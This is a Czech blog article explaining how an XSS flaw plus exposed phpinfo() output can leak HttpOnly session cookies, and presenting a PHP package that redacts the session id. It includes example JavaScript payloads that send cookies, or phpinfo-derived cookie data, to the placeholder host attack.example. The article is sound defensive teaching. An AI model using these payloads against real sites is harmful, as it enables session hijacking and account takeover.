Krádež session id z výpisu phpinfo()
je již nějakou dobu známá technika, která se používá k obcházení atributu HttpOnly
, který JavaScriptu zakazuje přístup k takto označené cookie (např. PHPSESSID
). Mě akorát až teď napadlo řešení, které dovolí phpinfo()
zachovat: ty citlivé údaje prostě zcenzurujeme, čímž phpinfo()
pro útočníka ztratí část své hodnoty.
Klasické přihlášení do webové aplikace vypadá tak, že zadáte jméno a heslo, formulář odešlete, aplikace přihlašovací údaje ověří a do tzv. sessiony uloží informaci, že jste přihlášeni. Do prohlížeče pak odešle cookie s identifikátorem session (session id), který označuje tu vaši „plechovku“ se session daty. Váš session id nikdo jiný úmyslně nedostane, pokud by ho totiž získal, byl by pak přihlášen do vašeho účtu, což by bylo značně nežádoucí.
Ale to by tu nesměli být různí mizerové: ti se od vás snaží ideálně nějak nepozorovaně získat právě ten session identifikátor, tím se dostat do vaší sessiony a v podstatě se za vás vydávat, sessionu vám tzv. unést (anglicky se tomu říká „session hijacking“). Takový klasický způsob ukradení session id je pomocí útoku Cross-Site Scripting (XSS), kdy do stránky útočník nějak vloží JavaScript, ať už přímo, nebo vložením externího souboru, který zákeřný kód bude obsahovat. Ten vložený kód může vypadat např. takto:
new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);
Když pak návštěvník na stránku přijde, jeho prohlížeč uvidí JavaScript, vytvoří objekt typu Image
a bude chtít načíst obrázek z uvedené adresy. Ta v parametru cookie
obsahuje pro přenos v URL bezpečně zakódované všechny cookie, ke kterým má JavaScript aktuálně přístup, tedy ty, které jsou uložené pro aktuální stránku (dle nastavení atributu Domain
, Path
atd.) a nemají nastaven příznak HttpOnly
.
Útočník si pak na svém serveru attack.example
může zobrazit i třeba jenom access log, ve kterém uvidí požadavek na např. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19
, z něj si pak vyzobne session id, v browseru načte stránku, ze které session id ukradl, otevře developer tools a přidá nebo změní cookie PHPSESSID
, stránku pak reloadne a rázem je v té samé sessioně, česky sezení, přihlášen jako uživatel chudáka oběti.
HttpOnly
Pokud cookie má atribut HttpOnly
, tak k ní JavaScript nemá přístup a kódem uvedeným výše ukrást nepůjde. To si ostatně můžete vyzkoušet v podstatě na jakémkoliv webu: ve vašem prohlížeči v developer tools si v záložce Application (Chrome) nebo Storage (Firefox) najděte nějakou cookie, která má příznak HttpOnly
, a v konzoli, kterou můžete rovnou zobrazit stiskem klávesy Escape, si příkazem document.cookie
vypište všechny cookies tak, jak je vidí JavaScript – cookies s HttpOnly
tam nebudou.
A cookie se session id, v PHP aplikacích obvykle pojmenovaná PHPSESSID
, atribut HttpOnly
má často nastaven. V defaultní konfiguraci PHP se ale nenastavuje a je potřeba to udělat dodatečně ručně např. pomocí
ini_set('session.cookie_httponly', true);
HttpOnly
pomocí phpinfo()
Takže smůla, ledaže… ledaže by na webu někde byl zobrazen výstup z phpinfo()
, PHP funkce, která vypisuje úplně všechno o aktuálně použitém PHP. Klasicky bývá na /info.php
nebo /phpinfo.php
, občas třeba v administraci za přihlášením, což je ta lepší a doporučovaná varianta, ale sama o sobě zde popisovaný problém nevyřeší. phpinfo()
jsem zmiňoval i v článku o Full Path Disclosure, protože kromě konfigurace PHP a informacích o rozšířeních zobrazí právě i cestu k souborům, která se útočníkům může k něčemu hodit.
Klasický výstup z phpinfo()
Ve výstupu z phpinfo()
ale jsou vypsané i hodnoty cookies, které browser při požadavku poslal, včetně těch s HttpOnly
, protože takové cookies se normálně po síti přenáší a server je tedy v rámci požadavku obdrží. Ve výpisu tedy bude i hodnota session id, minimálně jako řádek s např. $_COOKIE['PHPSESSID']
, ale dle verze PHP a konfigurace klidně i víckrát.
Toho může útočník využít: místo aby kradl session id JavaScriptem přímo z browseru pomocí document.cookie
, tak si JavaScriptem pošle požadavek na např. /phpinfo.php
, vytáhne si jen tu pro něj zajímavou část odpovědi, kterou pak připojí k následujícímu požadavku, který si pošle k sobě. To zařídí třeba následující kód, který někam do stránek na doméně https://app.example/
vloží místo výše uvedeného new Image().src …
:
fetch('https://app.example/info.php')
.then(response => response.text())
.then(text => {
cookie = text.match(/_COOKIE.{1,2000}/)[0];
fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
});
Na prvním řádku pošleme požadavek na /info.php
, druhý a třetí řádek zajistí, že v proměnné text
budeme mít výstup z phpinfo()
, ze kterého si na čtvrtém řádku vytáhneme řetězec _COOKIE
a dalších maximálně 2000 znaků, ve kterých zcela určitě, kromě nějakého toho HTML, bude i session id. Na pátém řádku pak tento podřetězec přidáme do požadavku odesílaného na attack.example
. Odpověď už nás nezajímá, stačí že prohlížeč poslal požadavek, a na serveru se pak podíváme do access logu. Mohli bychom si klidně poslat celé phpinfo()
, ale potřeba to není, jdeme jenom po cookie se session id.
Pokud budete mít v aplikaci nějaký Cross-Site Scripting, aby útočník mohl vložit svůj zákeřný JavaScript, a výstup z phpinfo()
, jedno jestli veřejně nebo za přihlášením, tak mizera může ukrást session id i když cookie, ve které se přenáší, má atribut HttpOnly
.
phpinfo()
, nebo věci jako var_dump($_SERVER)
apod., a už vůbec ne veřejněTeorie i praxe říká, že je lepší počítat s tím, že tam nějaký ten Cross-Site Scripting někdy mít budete, takže bod č. 1 padá. No a výstup z phpinfo()
je celkem užitečná věc, takže bod č. 2 je také často nereálný.
Až když jsem psal bug report s titulkem „System Information contains sensitive information like the session id cookie“, tak mě napadl kompromis: phpinfo()
v administraci necháme, ale ty důležitý údaje skryjeme, na ty tam stejně nikdo nekouká. Další úrovní zabezpečení by mohlo být zadání hesla nebo třeba 2FA kódu před naprosto každým zobrazením výstupu z phpinfo()
.
Už dříve jsem si vytvořil jednoduchý balíček spaze/phpinfo, který vezme výstup z phpinfo()
, odřízne HTML hlavičku aby se ten výstup dal vložit do nějakého vlastního designu administrace apod. a inline CSS style="…"
nahradí za class="…"
. Do této třídy jsem přidal sanitizaci, která defaultně nahrazuje hodnotu session id za hvězdičky.
Použití je skoro tak jednoduché jako zavolání phpinfo()
:
$info = new \Spaze\PhpInfo\PhpInfo();
echo $info->getHtml();
Jádrem toho celýho zázraku je v podstatě tenhle kód:
ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);
Můžete si ale přidat vlastní nahrazování dalších hodnot jako jsou např. cookie pro permanentní přihlašování a další, můžete si zvolit i vlastní „hvězdičky“:
// $loginToken = getLoginTokenValue(); např.
$info = new \Spaze\PhpInfo\PhpInfo();
$info->addSanitization($loginToken, 'hele, asi spíš ne');
echo $info->getHtml();
Také bych doporučil výslovně uvést session id a nespoléhat se jen na samo-se-to, například pomocí něčeho jako:
$info = new \Spaze\PhpInfo\PhpInfo();
$info->addSanitization($this->sessionHandler->getId(), '[nope]');
echo $info->getHtml();
Na mém webu to všechno zajišťuje třída SanitizedPhpInfo
(pokrytá testem), výsledek pak vypadá nějak takhle:
Setec Astronomy je přesmyčka „too many secrets“
Místo prostého volání phpinfo()
tedy raději použijte spaze/phpinfo. Funkci phpinfo()
jsem přidal i do spaze/phpstan-disallowed-calls, což je rozšíření pro PHPStan, které hledá nebezpečné funkce a další ve vašem kódu.
Tento článek sice nemá být kompletním návodem na (obranu proti) kradení sessions, ale dokážu si představit, že i přesto vás napadne několik Zaručené Dobrých Nápadů™️, jak takovým únosům zabránit.
Již mnoho let takovým klasickým nápadem bývá „přilepení“ sessions jen ke konkrétní IP adrese a z jiné, např. útočníkovo, se i při znalosti session id do té sessiony dostat přece nepůjde. To zní skvěle do té doby, než si uvědomíme jak často říkáme „musím jít, to dodělám doma/na chatě/v kavárně“, nebo že naše kancelář má vlastně několik připojení do Internetu, které se na první pohled náhodně přepínají.
Všechno uvedené má za následek, že se IP adresa mění častěji, než by se na první pohled mohlo zdát, což by způsobovalo příliš časté odhlašování a hlavně přihlašování, a tím značné snížení použitelnosti. Nedoporučuji.
Tak tu sessionu navážeme třeba na verzi prohlížeče! Dobrej nápad, jen teda verze prohlížeče samotná není moc unikátní a navíc se mění při každé aktualizaci. Tak si browser nějak označíme, nějakým dalším identifikátorem, nebo otiskem, fingerprintem. Jasně, akorát teda ten fingerprint asi uložíme do cookie, která… se taky zobrazí v phpinfo()
.
Tak budeme ten fingerprint zjišťovat při každém požadavku automaticky, třeba pomocí JavaScriptu! Zajímavé, ale předpokladem je, že útočník si na stránce taky může spustit vlastní JavaScript, který ten fingerprint zjistí stejně jako ten váš JavaScript, nehledě na to, že browsery se takové sledování uživatelů snaží do jisté míry eliminovat.
Možná by to tedy chtělo nějaké moderní systémové řešení, ne jako náhradu cenzury phpinfo()
popisované výše, ale spíš jako doplněk. Hmm, a co takhle třeba:
Kradení cookies ale možná bude velmi brzy již minulostí, Chrome totiž experimentuje s něčím, co nazývají Device Bound Session Credentials. To by mělo zajistit, že sessiona bude svázaná s konkrétním zařízením, používají k tomu veřejné a soukromé klíče a TPM pro jejich uložení. Mělo by to také fungovat jako jakási nadstavba nad klasickými sessions, nemělo by to vyžadovat nějaké brutální změny všeho možného.
Prototyp tohoto řešení už chrání některé Google účty pokud uživatelé používají Chrome Beta a do konce roku 2024 by Device Bound Session Credentials na zkoušku měly být dostupné i veřejnosti a dalším webům jako tzv. Origin Trials.